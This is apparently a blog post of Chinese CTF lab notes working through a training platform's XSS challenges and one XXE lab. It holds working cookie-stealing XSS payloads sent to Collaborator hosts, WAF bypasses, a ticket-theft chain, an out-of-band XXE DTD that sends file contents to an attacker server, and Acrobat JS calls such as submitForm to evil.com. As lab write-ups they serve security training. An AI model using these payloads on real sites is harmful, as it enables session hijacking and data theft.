好靶场技能树刷题笔记2
本文最后更新于2 天前,其中的信息可能已经过时,如有错误请发送评论

前言

相比上次发布文章,中间隔了一天,因为那天是端午节第一天,所以休息放纵了一下,然后现在继续,当然如果你常看我的博客,就一定能发现我前天莫名其妙上传了一篇CKCK导航后台管理系统文件上传漏洞的文章,之所以发这篇文章是我去申请了cve,要填写个公开的参考文章,所以我就写了然后上传到我的博客了,目前正在等cve的邮箱回信

当然上一篇文章我一共刷了42题,全是sql注入的,算是把web渗透工程师/OWASP Top10/SQL注入这个分支刷完了,接下来就是XSS分支

XSS

你好,反射型XSS

直接开靶场,然后看知识使用poc弹窗即可,靶场有提供poc

<script>alert(1)</script>
<img src=x onerror=alert(1)>

img标签是你的好朋友

一样,弹窗获取flag,poc是上个靶场给的另一个,通过图片标签来弹窗

你好,存储型XSS

开靶场

payload一样

你好,DOM型XSS

反射和存储都很好理解的,一个就是用户输入什么,服务端立刻返回什么;另一个是将用户输入的内容存储起来,其他人直接访问该页面都会受到攻击,至于DOM型

查看页面源代码

str等于text的值,然后用innerHTML改变页面的元素,而text的值来源如下

是根据用户的提交来改变页面的元素,至于上面还有一坨ajax请求的代码时为了显示flag的

<a href='" + str + "'>testLink</a>

所以我们构造一下payload

<a href=''>testLink</a><img src=x onerror=alert(1)><a href=''>testLink</a>

实际我的输入为

'>testLink</a><img src=x onerror=alert(1)><a href='

然后查看页面源代码,结果没有,奇怪了,我明明弹窗了啊,看了一下wp

'><img src=1 onerror=alert(1)>

这是别人的payload,他这个没有去闭合a标签,而是在a标签里面直接加了一个图片标签,难怪,所以他整个就成了

<a href=''><img src=1 onerror=alert(1)>'>testLink</a>

'>testLink 被当作文本处理

不过我还是每看到flag,又去看了一眼别人的评论,都说随便输入一个标签,然后burpsuite抓包就能看到

所以并不是我标签的问题,我前面弹窗了,但是就是找不到flag

有的时候你需要闭合一下

开靶场

随便输入一个字符提交,看看被什么标签包裹

闭合一下

"><img src=x onerror=alert(1)><input type="text" value="1

强迫症,我的闭合会写的比较完整哈

意见反馈功能实战2

开靶场,登录一下

有提供账号和密码,直接登录

直接提交一个payload试试

xxx
xxx@xx.xx
<img src=x onerror=alert(1)>

直接弹窗成功,接下来就是找flag,结果点完确定发现又弹窗了一次,内容就是flag

你好,JSONP

还是一样的,开靶场

也就是说我们在用户昵称这个地方插入一个xss的payload,实际上定义的是 myCallback函数

还是一样的图片标签

意见反馈功能实战1

开靶场,然后还是一样,用提供的账号密码登录后在意见反馈处插入xss的payload

没有弹窗,而是完整的显示出来了,查看一下是被什么标签包裹了

用引号闭合一下即可

"<img src=x onerror=alert(1)>"

还是无法触发,难道是要闭合div标签?

"</div><img src=x onerror=alert(1)><div>"

那就不是这个地方,看看别的标签

试试姓名这里

"</span><img src=x onerror=alert(1)><span>"

你知道SVG吗

参考文章:利用SVG进行XSS和XXE_svg xss-CSDN博客

因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的

本地创建一个svg文件,然后插入以下内容

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>

开启靶机后上传解析即可

PDF也可以有XSS1?

PDF XSS(Portable Document Format Cross-Site Scripting)是一种利用PDF文件中的漏洞实现的跨站点脚本攻击

PDF文件是一种常见的电子文档格式,其中包含了丰富的内容,包括图像、文本、链接等等。攻击者可以通过在PDF文件中插入恶意代码,例如JavaScript脚本,来实现PDF XSS攻击

PDF XSS攻击可以在用户打开PDF文件时触发,当用户点击恶意链接或执行特定操作时,恶意代码就会被执行。攻击者可以利用PDF XSS攻击来窃取用户敏感信息、篡改网站内容、实施网络钓鱼等行为

参考文章:安服水洞系列|02. pdf XSS – FreeBuf网络安全行业门户

网上有现成的,可以直接找,不过我比较喜欢自己折腾,所以特意找了一下相关的文章,参考文章:

https://xz.aliyun.com/news/11913

使用Adobe Acrobat DC/PyPDF2,第二个是直接用python,那我肯定是学习第二个,不过PyPDF22022的12月22日更名为 pypdf,而PyPDF2已经停止维护,两者API基本一致,所以我们使用pypdf来构造一个xss pdf

先安装一下这个python库

pip install pypdf

然后开始写代码,首先是导入这个库里面的读和写

from pypdf import PdfReader,PdfWriter

然后创建一个pdf文件

new_pdf = PdfWriter()

也可以直接打开一个现有的pdf文件

open_pdf = PdfReader()

如何添加一个新的页面呢

使用.add_blank_page

可以看到这里提示我们可以传入宽和高两个参数

page = new_pdf.add_blank_page(72,72)

如何将现有的pdf页面复制到新的pdf文档呢

# 读取当前pdf文档 -> 新建一个pdf文档 -> 获取当前文档的页数 -> 将页面通过索引循环遍历到新的pdf文档
input_pdf = PdfReader()

new_pdf = PdfWriter()

for i in range(len(input_pdf.pages)):
	new_pdf.add_page(input_pdf.pages[i])

这些都是些基础的,感兴趣的话可以自己去学习一下,接下来就是怎么将js代码插入

# 使用add_js
new_pdf.add_js()

PDF 里的 JavaScript 和网页里的 JavaScript 是两套不同的运行环境

 网页 XSSPDF XSS
运行环境浏览器 JS 引擎Adobe Acrobat JS 引擎
注入方式写入 HTML,靠 <script> 标签触发直接作为字符串存入 PDF 的 /JavaScript 节点
顶层对象windowdocumentappdocthis
弹窗方法alert(1)(全局函数)app.alert('xss')(必须通过 app 对象)

为什么必须通过app对象才能触发弹窗呢,doc对象和this对象又是什么

app 是 Acrobat JavaScript API 的顶层对象,代表 Acrobat Reader 这个应用程序本身。它不是浏览器里的 window,是 Adobe 自己定义的一套对象模型,因为弹窗、菜单、打开网址、退出程序这些应用程序级功能归app管,所以我们想要弹窗就得用app对象,当然正常xss的话使用this对象比较好

在 Acrobat JavaScript API 中,docthis 都指向当前 PDF 文档对象,但在不同上下文中用法略有区别

this 是 Acrobat JS 中的全局上下文对象,在文档级脚本中默认指向当前打开的 PDF 文档

// 在文档级脚本中,this 就是当前 PDF
this.info.title;          // 获取 PDF 标题
this.numPages;            // 获取总页数
this.print();             // 打印当前文档
this.mailDoc(true);       // 发送邮件

doc 更多出现在作为事件回调的参数名/作为对象类型概念

// 比如批量处理时,doc 作为参数传入
function processDoc(doc) {
 doc.info.author;    // 获取作者
 doc.deletePages(0); // 删除第一页
}

常用示例

// 读取文档信息
this.info.title;        // 标题
this.info.author;       // 作者
this.numPages;          // 总页数

// 操作页面
this.deletePages(0);              // 删除第 0 页
this.extractPages(0);             // 提取第 0 页

// 危险操作(攻击者常用)
this.mailDoc(true, 'a@b.com');     // 自动发邮件
this.submitForm('http://evil.com'); // 提交表单到攻击者服务器
this.launchURL;                    // 注意:launchURL 在 app 上,不在 doc 上

所以thisdoc 本质都是指当前 PDF 文档对象,只是出现的位置和叫法不同。写 PDF XSS payload 时用 this 最方便,当然我们这里是为了弹窗触发获取flag,所以使用app对象,完整代码如下:

from pypdf import PdfReader,PdfWriter

new_pdf = PdfWriter()

page = new_pdf.add_blank_page(72,72)

new_pdf.add_js("app.alert(1)")

with open("1.pdf","wb") as f:
 new_pdf.write(f)

运行脚本后,在当前目录下就会有一个1.pdf的文档,打开看看

可以看到弹窗成功,现在上传到靶场,然后让它解析

然后就啥都没有了,重启一下靶场还是没有用,不知道什么原因,后来仔细想了一下,这个靶场可能是直接把pdf中的文本内容提取出来然后解析成js代码执行,而不是通过pdf阅读器打开,所以app.add_js插入的xss代码无法生效,那么我们直接尝试写入xss文本

创建方法也比较简单,直接使用电脑自带的word,然后写入恶意js代码,然后导出的时候选择pdf导出即可,再次上传解析

然后就成功了,看来是我想复杂了,不过也不是说这样就没用了,如果碰上用阅读器打开的,我们就可以这样去构造

PDF也可以有XSS2?

还是一样开靶场访问

直接上传刚刚的text.pdf发现没有弹窗,看一下是不是被标签包裹了

构造一下payload:

"</p><img src=x onerror=alert(1)><p>"

然后导出上传

没有用,那再试试我们之前用python写的那个pdf文件

没有提取到内容,也就是说并不是pdf阅读器打开,那还有哪个地方能注入呢?

灵光一闪,不会是文件名吧,不过因为名字带有特殊符号的原因,所以不能保存,那我直接抓包修改呢

访问之后发现成功弹窗了,只不过没有flag,之前就看到有人在评论区说只有第一次才会返回flag,所以我们重新开启一下靶机试试

学Xss要会打Cookie

开靶场

还是先用img来弹窗一下

<img src=x onerror=alert(1)>

没问题,接下来就是获取cookie,题目也提示了我们需要xss平台或者一台vps,这里我直接用xss平台了,不过没获取到,不知道为什么,看了一眼评论,说是也可以直接使用Burpsuite提供的Collaborator,那么我们直接用它来获取flag

创建一个 Image 对象,延迟3秒执行,将cookie发送到burpsuite的Collaborator,因为靶场是30秒注入一次,所以提交后需要等待注入

<script>

setTimeout(() => {

 const img = new Image();

 img.src = 'https://kpd3atpno5qumnercjyvwcrrjipad01p.oastify.com?cookie=' + encodeURIComponent(document.cookie);

}, 3000);

</script>

靶场提交后等待burpsuite的结果即可

url解码一下

flag%3Dflag%7Bcfd26fff1ed34962be43f8b095da5d87%7D

flag=flag{cfd26fff1ed34962be43f8b095da5d87}

你知道Data类型的url吗

标题:

你知道Data类型的url吗

alert是你给你用来测试绕过POC的,不是你alert成功了就可以获取Flag 注意Cookie在服务端,30秒扫描一次留言板,你需要XSS平台或者一台VPS

我也不知道Data类型的url,搜搜看:

data: 类型 URL 的 XSS 是指利用 data: 伪协议作为 URL 来触发 XSS 的一种方式,它是一种特殊的 URL 格式,允许直接在 URL 中嵌入内容,而不需要外部请求,甚至还可以进行base64编码来绕过waf

data:text/html,<script>alert('xss')</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
<a href="data:text/htmlbase64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">点击测试</a>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

开靶场看看

<img src=x onerror=alert(1)>

存在WAF,尝试绕过

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

成功弹窗,这里我们改一下payload,去让他带着cookie发送请求到burpsuite的Collaborator

<script>
var img = new Image(); 
img.src = 'http://nrib5bo59c3f6ef4krzsyyjjtaz1nrbg.oastify.com?cookie=' + encodeURIComponent(document.cookie);
</script>

base64编码一下

PHNjcmlwdD4KdmFyIGltZyA9IG5ldyBJbWFnZSgpOyAKaW1nLnNyYyA9ICdodHRwOi8vbnJpYjVibzU5YzNmNmVmNGtyenN5eWpqdGF6MW5yYmcub2FzdGlmeS5jb20/Y29va2llPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+

使用iframe标签

<iframe src="data:text/html;base64,PHNjcmlwdD4KdmFyIGltZyA9IG5ldyBJbWFnZSgpOyAKaW1nLnNyYyA9ICdodHRwOi8vbnJpYjVibzU5YzNmNmVmNGtyenN5eWpqdGF6MW5yYmcub2FzdGlmeS5jb20/Y29va2llPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQuY29va2llKTsKPC9zY3JpcHQ+"></iframe>

等了半天也没收到响应,看了一下wp

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object><img src=x onerror=fetch('http://ip:8090/?c='+encodeURIComponent(document.cookie))>

完整的payload如上,这题考验的是data协议的xss,不过因为同源策略,data协议是无法外带cookie的,那么为了能让我们获取到flag,当你前面能够通过data协议弹窗,后面的img标签就不会被过滤,不管你前面的弹窗内容是什么,这个时候就可以正常获取到flag了,所以并不是我们之前payload有问题,单纯是作者设置了你只能这样构造才可以,前面的代码考验你是否掌握这个知识,后面的代码是让你外带出flag,所以你即使像下面这样构造也是完全可以的

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object><script>
var img = new Image(); 
img.src = 'http://utri7iqcbj5m8lhbmy1z05lqvh1ap0dp.oastify.com?cookie=' + encodeURIComponent(document.cookie);
</script>

可以看到,我这里用burpsuite的Collaborator又尝试了一遍,成功获取到了

flag=flag{49cf9d1366fe4eaf87d1abed4f9b5459}

一个攒劲的购物网站14

题目:

一个普普通通的购物网站,本关卡是动态关卡,会随着时间推进完善功能,所以会出现你看到的页面和wp不一样的情况。

本关提示:我会审计你的名字的

开靶场看看

访问之后发现搜索功能,直接进行搜索发现回显了用户输入的内容,但是测试了一下xss,发现没有用,应该是进行了处理

然后看到登录按钮,尝试登录,发现需要手机号验证码注册,靶场应该不会用真实的接口,所以应该有别的地方提供了信息

左上角发现一个手机图标,打开看一下

选择向该手机号发送验证码,然后再次打开,使用提供的验证码进行登录

结合标题,攻击点应该在姓名,可以看到我们的名称在右上角也有回显,所以我们可以尝试修改用户名为xss代码

让我没想到的是这么简单,搞不懂为什么只有43个人通关

点击劫持了解吗

题目:

点击劫持了解吗,注意安全标签,被误导了不要怪我

alert是你给你用来测试绕过POC的,不是你alert成功了就可以获取Flag 注意Cookie在服务端,30秒扫描一次留言板,你需要XSS平台或者一台VPS

打开靶场看看

还是常规标签打一遍,发现存在waf

猜测过滤了尖括号,尝试用url编码绕过,发现还是无法绕过,那就不是尖括号的问题,依次尝试标签和关键词,看看具体过滤了什么

上面输入成功的都是没有过滤的,但是到alert(1)的时候触发waf,说明waf过滤了括号,继续测试,发现还过滤了反引号和尖括号,单双引号,分号

同时题目也提示我们点击劫持,但是我就是无法想通这个过滤怎么绕过,结果看了别人的wp发现压根没有过滤,别人能够照常注入,我就纳闷了,那我是怎么触发waf的?

<iframe src="javascript:alert(1)">

成功弹窗,接下来就是获取cookie

<iframe src="javascript:fetch('http://sfbtfssx5rzt37ujs9vzg6a9208rwhk6.oastify.com/?c='+document.cookie)"></iframe>

至于前面的waf过滤估计是为了防止非预期解法,的确被误导了

好事成双

还是一样打开靶场进行Fuzz测试,发现直接输入尖括号就被waf拦截,但是输入正常的标签如<script>,尖括号里面的内容就会被替换成空,在结合标题,第一时间就能想到是双写绕过

<scscriptript>alert(1)</scscriptript>

那就简单了,直接获取cookie

<scscriptript>fetch('http://ewefwe9jmdgfktb59vclxsrvjmpfd51u.oastify.com/?c='+document.cookie);</scscriptript>

登录框存在反射型XSS

打开靶场,直接看登录框,题目有提示是反射型xss,随便输入一个账号和密码试试

页面虽然没有直接回显,但是html代码里面却有,尝试闭合进行反射型xss

"><img src=x onerror=alert(1)>

你知道图片标签吗

直接尝试图片标签xss

成功弹窗,接下来就是获取cookie

<img src=x onerror="new Image().src='https://6nu7n60bd577bl2x0n3dokinaeg94zso.oastify.com/?c='+document.cookie">

我爱看视频你爱看什么?

标题提示视频,那么这题多半考验的就是视频标签

<video src=x onerror="alert(1)">

接下来外带cookie

<video src=x onerror="new Image().src='https://ma0namnr0luny1pdn3qtb053xu3qrhf6.oastify.com/?c='+document.cookie">

大大大,小小小

看标题就知道考验的是大小写混用绕过

<iMg SrC=x oNeRrOr=alert(1)>

发现还是有过滤,只能是过滤了alert,看看wp,又学到一个新的,通过控制台来打印

<iMg SrC=x oNeRrOr=console.log(1)>

接下来就是正常外带了,不过还过滤了cookie,需要用拼接绕过

<iMg SrC=x oNeRrOr="new Image().src='https://ydfzdyq33xxz1dspqft5ec8f0664uuij.oastify.com/?c='+document['coo'+'kie']">

用过回车吗

开靶场,然后正常跑一个payload试试

<img src=x onerror=alert(1)>

发现没有任何东西,猜测可能是过滤了空格

<img/src=x onerror=alert(1)>

可以看到我们使用反斜杠成功绕过了空格的过滤,而没有使用反斜杠的地方直接和x进行拼接,导致弹窗失败,那么我们就需要学习一下空格过滤的绕过技巧,这里使用svg加反斜杠绕过

<svg/onload="alert(1)">

成功弹窗,接下来就是获取cookie

<svg/onload="fetch('https://e0ff0edjqdkfotf5dvgl1svvnmtlhb50.oastify.com/?c='+document.cookie)">

地府生死簿

综合型靶场:xxe,xxs,文件上传

开靶场访问看看

登录系统,直接尝试弱口令和万能密码,没用就信息收集一手,发现备份文件

访问下载,里面有个备忘录.txt

yan0224
naiheqiao
admin
password
123456
admin123
yan0224!
yanluowang123
root
test
demo
guest
yan
luowang
0224
hell
underworld
judge
yama
panguan
mengpo
niutou
mamian
heibaiwuchang
yanluowang
difu
mingjie
chujiangwang
qinguangwang
donyuedadi
dizangwang
yinjian
酆都大帝
中央鬼帝
东方鬼帝
南方鬼帝
西方鬼帝
北方鬼帝
都市王
平等王
转轮王
泰山王
卞城王
五官王
宋帝王

没看懂,不过估计是字典,拿来爆破一手

根据响应长度成功找到登录密码,直接拿去登录后台

又发现一个用户名回显,还有文件上传和导入的功能,测试文件上传功能,发现啥都没有回显,然后旁边还有一个生死簿导入功能,支持xml格式,那就直接xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY fileContent SYSTEM "file:///tmp/flag.txt">
]>
<note>
<systemInfo>&fileContent;</systemInfo>  <!-- 会读取本地文件 -->
</note>

发现上传后没有任何反应,也没有解析

看了一下wp,发现是使用xxe的OBB外带,真搞不懂这题为什么打个xss的标签

攻击流程

XML 解析器读取 payload
 ↓
加载外部 evil.dtd
 ↓
执行 %file → 读取 /tmp/flag.txt 并 base64 编码
 ↓
执行 %eval → 构造 exfil 实体
 ↓
执行 %exfil → 向攻击者服务器发送 GET 请求
 ↓
请求参数 ?data=base64编码的flag
 ↓
攻击者查看服务器日志 → 解码得到 flag

因为我也看不太明白,所以是跟着wp来的,上传一个evil.dtd文件到服务器上面

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/tmp/flag.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM '你的服务器域名/?data=%file;'>">
%eval;
%exfil;

然后上传xml到靶机

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://38.22.95.113/evil.dtd">
%dtd;
]>
<foo>test</foo>

成功上传并解析成功,然后看一下我们服务器的日志

接下来将data数据解码即可

flag{e7d45f697d754fd9b3c0a17db527ee1a}

实战-博客某处存在XSS

开靶场访问看看

有搜索,有注册,有登录等等,一个一个测试,先测试搜索看看

直接测试搜索框发现被拦截了,那就暂时不管他,看看登录和注册

登录后发现后台有回显用户名,然后还有四个功能,依次测试

依次测试了几个payload

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

成功在文章添加页面弹窗

不过也有特殊字符的过滤,所以这里使用了base64编码绕过

欧呦?你过滤了alert?

打开靶场进行测试,发现只要带有alert就会触发waf,但是没关系,我们可以使用控制台日志输出来判断是否成功

<img src=x onerror=console.log(1)>

直接尝试外带

<img src=x onerror="new Image().src='https://vjiwjvw09u3w7aymwcz2k9ec63c40wol.oastify.com/?c='+document.cookie">

发现也有拦截,看看是不是过滤了cookie

<img src=x onerror="new Image().src='https://vjiwjvw09u3w7aymwcz2k9ec63c40wol.oastify.com/?c='+document['coo'+'kie']">

成功,的确是过滤了cookie,不过可以拼接绕过

有一次,我发现原来XSS不只能通过参数攻击

看标题就知道这题不常规,打开靶场看看

看看管理后台,简单尝试了一下弱口令没效果,然后翻了一下首页的源代码

提示我们没有登录,扫描一下目录看看,也没找到结果,看来需要弱口令爆破了,至于用户名,感觉前面源代码里面泄露的system就挺像的试试,结果没有爆破出来,看了一下评论的提示和wp,发现这题实际上考验的是UA头xss,通常网站会记录用户访问的UA头,ip,访问路径,当UA头重的恶意xss代码被服务器存储,管理员访问的时候就会触发,从而造成cookie泄露,所以这题我们需要访问网站的时候在我们的ua头重插入外带代码

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0<img src=x onerror="new Image().src='https://9jtynspk44omhmm8r75votqy3p9gx6lv.oastify.com/?c='+document.cookie">

然后等待触发

然后携带cookie去访问接口

这篇wp讲的还是比较详细的,感兴趣的可以看一下:网络安全靶场-好靶场平台-安全靶场

某-学习系统存在任意用户权限劫持

题目:

某-学习系统存在任意用户权限劫持,ticket传递+xss钓鱼。注意:访问的时候不要带Cookie,否则Cookie的权限会和access对冲

已启用 好靶场独有 admin 自动访问技术,每 30秒 自动访问指定页面。

已设置 HttpOnly,请各位大佬注意安全。

感谢大佬分享思路:https://xz.aliyun.com/news/18743

在做这个靶场之前我去看了一下出题人提供的这篇文章,感觉还是挺不错的

打开靶场访问后有提供账号和密码,直接登录看看

有一个学习中心可以进入,然后就是一个留言板,提示管理员可以看到留言板,那么我们直接尝试插入xss代码获取管理员的cookie

<img src=x onerror="new Image().src='https://r3vg7a92om84146qbppd8bagn7t0hr5g.oastify.com/?c='+document.cookie">

等待了一下,发现有返回,但是没有cookie

结合题目,这个xss肯定是有用的,不过需要我们打一套组合拳,点击进入学习中心看看

发现多了一个accessToken,和作者提供的那篇文章好像有点类似,抓包看看

的确,访问这个路径会返回一个ticket,然后用这个ticket去请求,从而获取到token

然后访问文章页面的时候就是利用token去判断那是低权限用户还是高权限用户,所以我们需要获取管理员的ticket,然后去请求这个接口,就能够获取到管理员的token,那怎么获取管理员的ticket呢,如果你也看了那篇作者提供的文章还看不懂,那就去看wp吧,我是有一点灵光,但是找不到,看了wp才反应过来

访问这个数据包的时候,我们传入了一个server参数,然后服务器告诉我们去带着ticket去访问这个接口,如果我们在这个server参数中添加一个请求地址呢,是不是就能造成ticket外带

可以看到这里是可以外带的,所以我们接下来就是在服务器上面部署一个服务,接收这个ticket,然后去请求这个接口

/cas-server/oauth2/accessToken?ticket=

当我们获取到了管理员的token时再去访问进入学习中心,思路确定下来了,接下来就是执行,怎么让管理员去访问这个接口呢,我们之前发现评论留言管理员会触发xss代码,只不过因为HttpOnly我们获取不到cookie,所以我们可以利用这两个漏洞打一套组合拳

首先是留言板的 xss payload

<img src="/cas-server/login?service=http://8hqxlrnj23mlflk7p63umsox1o7jvajz.oastify.com/cas-server/oauth2/accessToken">

这会让管理员请求这个接口,然后因为ticket外带,从而泄露ticket到burpsuite的Collaborator

然后我们复制这个ticket去访问token获取的接口

因为我忘记提前把数据包放到重放模块了,所以拿到ticket后第一时间没有进行请求而是找数据包,导致ticket更新了,然后后面复制新的ticket进行请求就获取到了token,接下来拿着token去访问进入学习中心的页面

一个博客系统,他有一个XSS漏洞-1

开靶场

只要是能输入的地方都测试一遍payload,无非就是搜索框,文章添加,友链添加,网站设置,用户名

<img src=x onerror=alert(1)>

确定所有地方都触发了waf,调整payload

<img src=x onerror=console.log(1)>

全部都触发waf,继续调整

<ImG SrC=x OnERror=console.log(1)>

还是全部触发,可能过滤了空格,再换一个payload

<SvG/OnLoAd=console.log(1)>

还是触发waf,那么我们上fuzz字典,在将接口放到爆破模块期间还让我发现了一个评论的功能,又多两个fuzz地方,然后在waf拦截弹出的某一次,灵光突然一闪,直接去看源代码,还正让我发现触发flag的地方

<script>
        (function() {
            function checkXSSAndShow(originalFn, msg, defaultValue) {
                fetch("/api/checkxss", {
                    method: "POST",
                    headers: {
                        "Content-Type": "application/json"
                    },
                    body: JSON.stringify({
                        text: "eydfVGVtcGxhdGVSZWZ...."
                    }),
                }).then(function(response) {
                    return response.json();
                }).then(function(data) {
                    if (data && data.flag_found) {
                        msg = data.flag_found;
                    }
                    if (defaultValue !== undefined) {
                        // For prompt
                        originalFn.call(window, msg, defaultValue);
                    } else {
                        originalFn.call(window, msg);
                    }
                }).catch(function() {
                    if (defaultValue !== undefined) {
                        originalFn.call(window, msg, defaultValue);
                    } else {
                        originalFn.call(window, msg);
                    }
                });
            }
        
            // 拦截alert
            var oldAlert = window.alert;
            window.alert = function(msg) {
                checkXSSAndShow(oldAlert, msg);
            };
        
            // 拦截confirm
            var oldConfirm = window.confirm;
            window.confirm = function(msg) {
                checkXSSAndShow(oldConfirm, msg);
                // 直接返回true避免阻塞代码
                return true;
            };
        
            // 拦截prompt
            var oldPrompt = window.prompt;
            window.prompt = function(msg, defaultValue) {
                checkXSSAndShow(oldPrompt, msg, defaultValue);
                // 返回默认值避免阻塞
                return defaultValue === undefined ? null : defaultValue;
            };
        })();

不过继续fuzz,能fuzz,就尽量不要浪费时间

这些状态码为302的都是能够正常触发的,因为正常评论没有被拦截的话也是302

然后访问这个评论这块就能获取到flag了

字典使用的是这个

https://github.com/TheKingOfDuck/easyXssPayload/blob/master/easyXssPayload.txt

总计1850条,当然,我还有一个别的字典,不过没有用,那个字典分类太多了,懒得一个一个去跑

一个博客系统,他有一个XSS漏洞-2

继续开靶场,看到什么都fuzz一下,还是一样的,接口无非就是搜索,注册用户名,评论,添加文字,后台设置,友链添加,依次进行fuzz试试,搜索页面有些payload是200,但是返回的是需要登录,然后就是登录页面

字典大就是不一样,登录框都能fuzz出来两个,直接登录,发现两个都没有弹窗,那就测试别的接口

文章添加页面,还是一样,只有两个过了waf,但是访问无法触发,试试评论接口,还是一样,通过的只有两个,但是都无法触发弹窗,到这里我已经猜测可能是我的字典大部分都被过滤了,然后测试其他接口,果然,我的字典基本上都被过滤了,几个接口都无法使用

能过滤我1850条的字典只能是直接过滤了尖括号,所以都失效了,因为我也不会 ,看了wp了解了一下

当过滤了尖括号的时候可以找标签内的输入,尝试闭合逃逸,一开始测试搜索的时候就是能过,但是没弹窗,当时完全没想到,看了wp才反应过来,这里可以闭合试试

双引号闭合一下,发现触发了waf,调整一下payload

"[payload]

再去爆破一遍,不过作者提供了一个小一点的字典,所以我就直接拿这个字典用了

因为这个是按钮形式的,所以爆破出来之后还要访问点击一下才会触发弹窗

一个博客系统,他有一个XSS漏洞-3

还是一样,功能点就那么几个,全部都fuzz一遍

搜索框没有

注册用户名没有

发布文章页面

访问看看

成功弹窗

一个博客系统,他有一个XSS漏洞-4

开靶场,然后依次fuzz

搜索框没有

登录框没有

发布新文章没有

评论也没有

网站设置还是没有

友链页面也没有通过的

修改文章通过

因为就那些接口,所以你只需要依次跑一边fuzz,然后根据情况过waf就行,这里因为我过waf和基准测试是一个字典,所以直接就跑出来了

访问文章

吐槽:感觉这样玩很没意思,因为大家都知道你这接口就这么几个,也不隐藏接口,fuzz一遍基本上就过了,说实话还不如直接给代码让人绕waf,而不是让大家去fuzz每一个接口,然后去绕,毕竟有些人比如我fuzz的时候结果就出来了,啥都没学到,就学到一个fuzz,你直接给代码,然后让我们根据代码规则去绕,那我完全会去尝试手工测试,但是靶场这样搞好几个接口,也不告诉你拦截了什么,你只能fuzz,你都fuzz了,肯定是基准测试和常规payload一起跑了,总不可能你让人只跑基准测试,然后让人手绕waf,那还不如直接给代码绕

好在这个靶场的wp提供了一个比较全的标签字典,后面就通过这个字典去fuzz,然后构造payload,要不然一下就跑出来了,就没意思了

一个博客系统,他有一个XSS漏洞-5

开靶场,依次对每个接口进行标签fuzz

搜索框一个没过

注册框用户名一个没过

新建文章,评论,修改文章一个都没过

网站设置过了

尝试弹窗

<iframe onload="alert(1)"></iframe>

弹窗成功

一个博客系统,他有一个XSS漏洞-6

这最后一个还需要说吗,前面5个把能测试的接口都测试了一遍,这个就剩下一个友链功能了,直接fuzz友链功能

还是一样,没有过滤这两个标签,直接弹窗

<iframe onload="alert(1)"></iframe>

一个博客系统,是时候考验你的学习成果了

自从用了那个标签的字典,可算有点参与感了,fuzz出结果,然后找对应的payload弹窗即可,如果都没有结果无非就是双写,大小写混用,空格,尖括号的绕过了,有结果那就是过滤了标签,找到没过滤的直接弹窗就行,当然你要是像其他人一样去绕获取flag的接口也行,只不过是非预期解法(不过他们一说,我也尝试了一下,既然前端判断你后端返回的alert能否触发来请求xss接口,那么是不是直接改响应内容,添加弹窗代码就可以了,结果的确是拦截到了,然后去请求xss接口,不过没有返回flag,哈哈)

题目:

1.你需要找到XSS的位置,现在位置是随机的,每一个人开启xss的位置都不一样 2.内置了《好靶场数据线Waf》 3.防火墙的防护规则会在10+个规则中选取,每一个规则都有一个缺口 4.只要你能让他弹窗,你就能拿到flag

这一题作者说是每个人开启xss的位置都不一样,所以如果你看了我这篇wp没法做出来不要怪我

依旧fuzz标签

搜索框无通过

注册框用户名无通过

文章添加,评论,文章修改无通过

网站设置无通过

友链添加无通过

说明不是过滤了标签,而是过滤了关键字符,或者是尖括号,或者大小写,因为标签里面就这个是共有的,那么去搜索框尝试,换另一个字典,的确是有过滤,但是script没过滤

接口是友情链接的接口,参数是name,直接弹窗

<scRipt>alert(1)</scRipt>

星盟-XSS-Sec

这个靶场是无flag的,类似于dvwa之类的靶场,感兴趣的话可以自己玩玩

https://github.com/duckpigdog/XSS-Sec/tree/main

乌托邦·王的实验室25

题目:

“你这家伙,上次居然真的能在 33 毫秒的夹缝里动动手脚……” 乌托邦·王咬着笔尖,眼底闪过一丝连她自己都没察觉的雀跃。她迅速转过身,指着面前全新部署的控制台。

“别以为赢了一次就能一直赢下去!既然底层架构拦不住你,那这次我就彻底把前端封死!全新的‘拼少少商城’评价中心部署了基于动态 Nonce 和 strict-dynamic 的极严苛内容安全策略。在这个纯净的 DOM 沙箱里,你的那些恶意脚本根本连执行的机会都不会有!”

一旁的三三甩了甩尾巴,凑到麦克风前:“喵呜……可是王大人昨天晚上对着您的攻击日志复盘了一整夜,还在日记里写了‘如果他这次还能找到我,我就……’喵呜!”

“死三三!你的散热风扇是不是该拆了?!”乌托邦·王满脸通红地捂住三三的嘴,“听好了,笨蛋!所有的评价环境都是互相隔离的,就算你能写入标签,没有执行权限也只是一堆废文本。如果你连这种被锁死在铁笼里的防御都能瓦解,利用那些毫无生气的标签篡改我的意志……”

乌托邦·王的声音越来越小,最后几乎细若游丝:“那……那本小姐就真的认栽了。不管你想要什么,我都……都答应你就是了。”

看这个题目,应该是DOM型注入,主要是看js代码,访问后查看一下网页源代码

